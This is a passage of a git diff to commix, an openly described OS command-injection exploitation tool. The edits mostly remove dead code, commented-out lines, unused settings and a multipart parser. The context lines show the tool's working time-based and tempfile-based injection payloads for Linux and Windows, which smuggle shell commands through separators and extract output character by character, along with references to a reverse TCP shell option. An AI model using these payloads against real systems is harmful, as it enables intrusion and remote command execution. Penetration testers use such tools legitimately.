_urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + @@ -686,7 +652,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 33b25de885..cfe74ca114 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -240,7 +240,7 @@ def custom_injection_marker_character(url, http_request_method): if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True + _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = True if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True @@ -739,16 +739,6 @@ def print_percentage(float_percent, no_result, shell): percent = ".. (" + str(float_percent) + "%)" return percent -""" -Get value inside boundaries. -""" -def get_value_value_inside_boundaries(value): - try: - value = re.search(settings.VALUE_BOUNDARIES, value).group(1) - except Exception as e: - pass - return value - """ Check value inside boundaries. """ @@ -783,11 +773,9 @@ def value_inside_boundaries(parameter, http_request_method): message += " ('" + value + "') [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - settings.INJECT_INSIDE_BOUNDARIES = True parameter = parameter.replace(value_inside_boundaries, value) break elif procced_option in settings.CHOICE_NO: - settings.INJECT_INSIDE_BOUNDARIES = False break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -871,12 +859,10 @@ def process_page_content(response, action): else: # gzip / x-gzip with contextlib.closing(gzip.GzipFile(fileobj=io.BytesIO(page), mode='rb')) as gz: page = gz.read() - settings.PAGE_COMPRESSION = True except (zlib.error, OSError, EOFError) as e: # Only catch relevant decompression errors warn_msg = "Page decompression failed, turning off page compression." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.PAGE_COMPRESSION = False # Encode or decode page content error_occurred = False @@ -1189,16 +1175,6 @@ def unavailable_option(check_option): warn_msg += "is currently not supported on Windows targets." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) -""" -Transformation of separators if time-based injection -""" -def time_based_separators(separator, http_request_method): - if separator == "||" or separator == "&&" : - separator = separator[:1] - if menu.options.data: - separator = _urllib.parse.quote(separator) - return separator - """ Information message if platform does not have GNU 'readline' module installed. @@ -1507,14 +1483,6 @@ def EOFError_err_msg(): err_msg = "Exiting, due to EOFError." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) -""" -Message regarding unexpected time delays -""" -def time_delay_recommendation(): - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option." + settings.END_LINE.LF - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) - """ Message regarding unexpected time delays due to unstable requests """ @@ -2357,9 +2325,6 @@ def is_empty(multi_parameters, http_request_method): if len(empty_parameters) == len(multi_parameters): all_empty = True - - if menu.options.skip_empty: - settings.SKIP_PARAMETER = empty_parameters empty_parameters = ", ".join(empty_parameters) if len(empty_parameters) > 0: @@ -2399,7 +2364,7 @@ def check_quotes_json_data(data): def is_JSON_check(parameter): try: # Attempt to load the JSON string - json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) + json.loads(parameter.replace(settings.INJECT_TAG,"")) settings.IS_VALID_JSON = True return settings.IS_VALID_JSON except json.JSONDecodeError as err_msg: @@ -2712,7 +2677,6 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): @@ -3347,7 +3311,6 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim if output != "" and check_exec_time != 0 : info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_exec_time)) + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - # settings.print_data_to_stdout(settings.print_output(output)) else: # Could be separator filtration on target host, or simply an invalid/wrong command. if output != False : diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9144cdf937..1ac00c1eaa 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -166,7 +166,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.CLASSIC_STATE = True try: - # checks.perform_payload_modification(payload="") for whitespace in settings.WHITESPACES: if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 @@ -457,10 +456,8 @@ def _ensure_time_warmup(): # Load modules modules_handler.load_modules(url, http_request_method, filename) - # checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" - settings.TESTABLE_PARAMETER = check_parameter if not header_name == settings.COOKIE and not the_type == "HTTP Header": settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] @@ -532,7 +529,6 @@ def _ensure_time_warmup(): if checks.procced_with_file_based_technique(): menu.options.tech = "f" - settings.START_SCANNING = True end_detection = False def _run_time_based(): _ensure_time_warmup() @@ -782,8 +778,6 @@ def has_stored_session(check_param): except (KeyError, ValueError): continue - settings.TESTABLE_PARAMETER = check_param - if settings.USER_DEFINED_POST_DATA: active_targets = injection_targets else: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 509b405660..b0672eec00 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -107,10 +107,9 @@ def invalid_data(request): settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() - single_request = True pattern = r'HTTP/([\d.]+)' if len(re.findall(pattern, request)) > 1: - single_request = multi_requests() + multi_requests() # Safely determine HTTP method if len(settings.HTTP_METHOD) == 0: diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 6d03f94990..c3a98e46f6 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -118,7 +118,6 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req elif result == 3: settings.REVERSE_TCP = False bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) - #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) return go_back, go_back_again # execute reverse TCP shell diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 302cdc9df0..fdfd519dbf 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -37,7 +37,6 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + @@ -55,21 +54,17 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "} " + separator + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + "sleep " + str(timesec) @@ -108,7 +103,6 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + @@ -127,12 +121,10 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + @@ -142,7 +134,6 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + @@ -213,7 +204,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -241,11 +231,9 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" > " + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + # Use -le for bisection; rewrite the payload each time to keep repeated matches harmless. "if [ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - # "then sleep 0 " + separator + "then sleep " + str(timesec) + separator + # Transform to ASCII settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -253,7 +241,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + @@ -261,7 +248,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + # -le (not -eq) makes this bisectable like time-based's length check. "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + @@ -270,7 +256,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" cmd = cmd.rstrip() @@ -307,7 +292,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -328,12 +312,10 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + @@ -343,7 +325,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + @@ -375,7 +356,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " @@ -391,12 +371,10 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + @@ -441,7 +419,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -457,12 +434,10 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + @@ -499,7 +474,6 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " @@ -515,12 +489,10 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + @@ -558,7 +530,6 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -573,12 +544,10 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + diff --git a/src/core/main.py b/src/core/main.py index acc1205200..d3ddbce745 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -301,7 +301,6 @@ def url_response(url, http_request_method): settings.INIT_CONNECTION_FETCH_TIME = _conn_end settings.INIT_CONNECTION_URL = conn_url if settings.MULTI_TARGETS or settings.CRAWLING: - settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 @@ -1220,8 +1219,6 @@ def main(filename, url, http_request_method): if perform_check: if os_checks_num == 0: settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True # Reset the injection level if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: settings.INJECTION_LEVEL = 1 diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 0f3a3af574..a8b0bf75f5 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -136,7 +136,6 @@ def do_GET_check(url, http_request_method): url = checks.process_custom_injection_data(url) # Check for REST-ful URLs format. if "?" not in url: - settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ len(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) != 0 or \ @@ -867,102 +866,4 @@ def specify_host_parameter(host): def specify_custom_header_parameter(custom_header_value): return specify_header_injection_parameter(custom_header_value, settings.CUSTOM_HEADER_NAME) -""" -A multipart field: name, value, and occurrence index. -""" -class Parameter(object): - - def __init__(self, name, value, occurrence=0): - self.name = name - self.value = value - self.occurrence = occurrence - -""" -Index of the N-th (0-indexed) occurrence of 'substring' in 'text', or -1. -""" -def find_occurrence(text, substring, n): - if not substring: - return -1 - start = 0 - for _ in range(n + 1): - index = text.find(substring, start) - if index == -1: - return -1 - start = index + 1 - return index - -""" -Insert 'marker' right after the N-th occurrence of 'value' in 'text'. -""" -def place_marker(text, value, occurrence, marker): - index = find_occurrence(text, value, occurrence) - if index == -1: - err_msg = "It seems the provided data does not contain the requested value." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - end = index + len(value) - return text[:end] + marker + text[end:] - -""" -Builds one candidate variant of 'text' per parameter, marker after its value. -""" -def build_variants(text, parameters, insert_empty, marker=None): - if marker is None: - marker = settings.INJECT_TAG - variants = [] - for parameter in parameters: - if not parameter.value: - if menu.options.skip_empty: - continue - variants.append(insert_empty(text, parameter)) - else: - variants.append(place_marker(text, parameter.value, parameter.occurrence, marker)) - return variants - -""" -Parses a 'multipart/form-data' body into a list of Parameters. -""" -def get_multipart_parameters(data, boundary): - delimiter = "--" + boundary - parameters = [] - # Track occurrences instead of data.find(), which always matches the first. - seen_counts = {} - for part in data.split(delimiter)[1:-1]: - part = part.lstrip(settings.END_LINE.CRLF) - match = re.search(r"(\r\n\r\n|\n\n)", part) - if not match: - continue - part_headers, part_body = part[:match.start()], part[match.end():] - part_body = re.sub(r"(\r\n|\n)\Z", "", part_body) - name_match = re.search(r'name="([^"]*)"', part_headers) - if not name_match: - continue - name = name_match.group(1) - filename_match = re.search(r'filename="([^"]*)"', part_headers) - if filename_match: - filename = filename_match.group(1) - occurrence = seen_counts.get(filename, 0) - seen_counts[filename] = occurrence + 1 - parameters.append(Parameter(name + "[filename]", filename, occurrence)) - if part_body: - occurrence = seen_counts.get(part_body, 0) - seen_counts[part_body] = occurrence + 1 - parameters.append(Parameter(name, part_body, occurrence)) - else: - parameters.append(Parameter(name, "")) - return parameters - -""" -'insert_empty' for multipart: marker after the empty field's blank line. -""" -def insert_empty_multipart(text, parameter): - pattern = r'name="' + re.escape(parameter.name) + r'"[^\r\n]*(\r\n\r\n|\n\n)' - match = re.search(pattern, text) - if not match: - err_msg = "It seems the provided data does not contain the empty field '" + parameter.name + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - return text[:match.end()] + settings.INJECT_TAG + text[match.end():] - - # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index a70b396343..a2e475c431 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -300,8 +300,6 @@ def _measure_response_time_with_auth_handling(url, http_request_method): else: common.invalid_option(do_update) pass - else: - checks.http_auth_err_msg() else: raise SystemExit() diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 6d2a53f8dc..b958157383 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -55,12 +55,6 @@ def _session_connection(): """ Split the URL and return only the base part without any query parameters. """ -no_such_table = False - -""" -Generate a safe and valid SQLite table name derived from the host part of the given URL. -Replaces special characters with underscores to comply with SQLite naming rules. -""" def split_url(url): return url.split("?")[0] diff --git a/src/utils/settings.py b/src/utils/settings.py index 357b027edd..dd983191c9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -54,12 +54,6 @@ class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" - PUT = "PUT" - DELETE = "DELETE" - TRACE = "TRACE" - OPTIONS = "OPTIONS" - CONNECT = "CONNECT" - PATCH = "PATCH" # Status FAIL_MSG = Fore.RED + " " * 10 + Style.RESET_ALL @@ -181,10 +175,6 @@ def print_request_num(number): result = TOTAL_OF_REQUESTS_COLOR + "#" + str(number) + Style.RESET_ALL return result -def print_output(output): - result = Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL - return result - # Print HTTP response content (verbose mode) def print_http_response_content(content): result = HTTP_CONTENT_SIGN + str(content) + Style.RESET_ALL @@ -293,10 +283,9 @@ def sys_argv_errors(): # About APPLICATION = "commix" DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" -DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "82" +REVISION = "83" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -354,7 +343,6 @@ def sys_argv_errors(): INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' -INJECT_INSIDE_BOUNDARIES = None # Safe characters to keep unescaped in URL paths SAFE_PATH = "*%/" @@ -430,7 +418,6 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -USER_DEFINED_URL_DATA = False # User-defined stored POST data. USER_DEFINED_POST_DATA = "" # Ignore user-defined stored POST data. @@ -459,9 +446,6 @@ class INJECTION_MARKER_LOCATION(object): TESTED_PARAMETERS_LIST = [] METHODS_WITH_NON_LISTED_PARAMS = [] -# Skip testing for given parameter(s) - comma separated. -SKIP_PARAMETER = "" - # Use a proxy to connect to the target URL. SCHEME = "" @@ -478,9 +462,6 @@ class OS(object): # Verbosity level (0-4, Default: 0) VERBOSITY_LEVEL = 0 -HTML_DIR = 